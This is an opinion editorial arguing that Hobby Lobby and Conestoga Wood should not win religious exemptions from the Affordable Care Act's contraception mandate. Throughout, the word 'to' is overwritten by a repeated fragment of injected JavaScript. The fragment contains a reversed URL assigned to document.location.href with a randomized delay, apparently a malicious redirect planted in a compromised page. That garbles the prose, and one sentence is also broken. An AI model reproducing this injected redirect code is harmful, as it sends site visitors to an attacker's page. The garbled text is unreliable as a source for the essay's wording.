Whose religious freedom?

Last month the Supreme Court heard opening arguments in two cases pitting the Affordable Care Act’s contraception mandate against the religious objections of private business owners. The Christian owners of Hobby Lobby and Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga Wood Specialties object toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the ACA’s requirement that employee health-insurance plans cover emergency contraceptives, which they believe constitute abortion.

The court has a whole tangle of questions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider: Are corporations people in every legal sense? Do for-profit entities have religious rights? If so, are they overruled by a compelling governmental interest in expanded contraception coverage? If these claims by a for-profit are upheld, could employers also lodge religious objections against coverage for blood transfusions or vaccinations or against various kinds of family leave?

The business owners are appealing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1993, which aims toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect religious exercise from burdensome laws. A large bipartisan majority passed the RFRA, largely in response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a series of court decisions against free-exercise claims by adherents of Native American religions. It’s a good law. And the fact that the RFRA’s protections were aimed at minority faiths doesn’t prevent them from applying toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Christians as well.

But as Justice Ruth Bader Ginsburg pointed out in opening arguments, the RFRA wasn’t designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grant religious rights toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to corporations, and it wouldn’t have passed if it had been. Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga and Hobby Lobby contend that the companies themselves, not just the owners, are religious entities with religious rights. But they are for-profit firms selling products of a not specifically religious nature. More important, these companies are not religious monoliths. The employees as well as the owners are part of the company, and these employees-some of whom have different religious beliefs from their bosses-have rights, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too.

If paying for insurance coverage implicates an employer in an employee’s health-care decisions, it does so in an abstract and distanced way. By contrast, the impact of coverage restrictions on employees is quite direct. The federal government has in our emergency contraceptives are a crucial part of comprehensive health insurance, a service which in the United States is provided primarily via employers. Why should female employees or dependents be denied this coverage based on a religious objection that is not their own, but someone else’s?

As members of the majority faith, American Christians are more easily tempted than others toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lose sight of the difference between exercising one’s religious freedom and imposing one’s beliefs on others. In this case, the owners of Hobby Lobby and Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga have overstretched the claim toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to religious liberty.

Employees shouldn’t be denied coverage based on an employer’s religious beliefs.